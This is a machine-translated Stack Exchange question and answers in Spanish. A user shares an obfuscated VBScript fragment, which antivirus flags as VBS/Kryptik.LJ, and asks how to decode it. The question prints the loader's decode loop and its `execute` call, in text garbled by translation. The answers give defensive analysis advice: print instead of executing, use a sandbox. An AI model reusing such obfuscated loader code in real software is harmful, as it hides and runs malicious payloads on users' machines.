Pregunta:
Cómo reconocer si este código es peligroso
Sergio Ramos
2019-12-27 07:53:57 UTC
view on stackexchange narkive permalink

Acabo de recibir un código ofuscado y me gustaría des-ofuscarlo. ¿Alguien podría explicar qué método de cifrado se está utilizando?
Y cómo podría revertirlo.
El código es:

  En caso de error, resume nextData = "} èŝŸȠɩʽ̟ͪρФШҘӔ ղ ׏ ܦ ݷ ބ ߢࡳ࢏ࣜ "Container1 =" "id =" 4d9fdb14-d482-4fc5-a910-9af261a17650 "random1 = 0random2 = 0do until random1 = len (Data) random1 = random1 + 1random2 = random2 + 1if random2 = len (id) then random2 = 1Container1 = Container1 & ChrW (AscW (Mid (Data, random1, 1)) - random2 * 86) loopif len (Container1) > 282 thenexecute Container1end if  

El código completo en pastebin: https://pastebin.com/WJTgKmP1

Según ESET, es [VBS / Kryptik.LJ] (https://www.virusradar.com/en/VBS_Kryptik.LJ/description).
`On Error Resume Next` es bastante peligroso en sí mismo;)
Dos respuestas:
Peteris
2019-12-27 08:03:17 UTC
view on stackexchange narkive permalink

Imprime en lugar de ejecutar

En este caso, tienes el código de desofuscación justo delante de ti. Si bien puede ser interesante comprender cómo funciona, no es necesario; es obvio que el flujo del proceso es que desofusca parte de la carga útil a la variable Container1 que luego se ejecuta. lo que puede hacer es reemplazar ejecutar Container1 con algo como (asumiendo que esto es VBA) MsgBox Container1 y simplemente ejecutar el código. Por supuesto, es más seguro ejecutar cualquier código potencialmente malicioso en una máquina virtual sandbox y no en una computadora que le importa, incluso si cree que sabe lo que hace y lo que no hace, ya que cualquiera puede cometer un error al evaluar

Es bastante plausible que esto solo revele una 'segunda etapa' que aún necesitará más análisis y desofuscación, pero ese es un ejercicio de aprendizaje diferente.

"Ese es un ejercicio de aprendizaje diferente". O una repetición del anterior.
eckes
2019-12-27 19:42:55 UTC
view on stackexchange narkive permalink

Una respuesta más general a su pregunta (además de la respuesta para reemplazar exec con print de PeteriS, que es muy útil para un análisis rápido).

Las partes peligrosas de El código incluye métodos o llamadas que tienen efectos secundarios en el sistema. Esto incluye especialmente las llamadas al sistema para ejecutar comandos, IPC, abrir archivos o realizar comunicaciones de red. Si bien no todo el código que hace eso es peligroso, al menos debería ser sospechoso.

Pero tenga en cuenta que, solo porque no puede ver ese tipo de código, puede que no esté ausente. De manera más general, tener alguna forma de manipulación de la memoria y luego saltar o configurar controladores a otros lugares podría hacer lo mismo.

En su código de muestra, execute es, sin embargo, la única parte que se mantiene fuera como peligroso (y el hecho de que el VBA no es utilizado por personas cuerdas).



Esta pregunta y respuesta fue traducida automáticamente del idioma inglés.El contenido original está disponible en stackexchange, a quien agradecemos la licencia cc by-sa 4.0 bajo la que se distribuye.
Loading...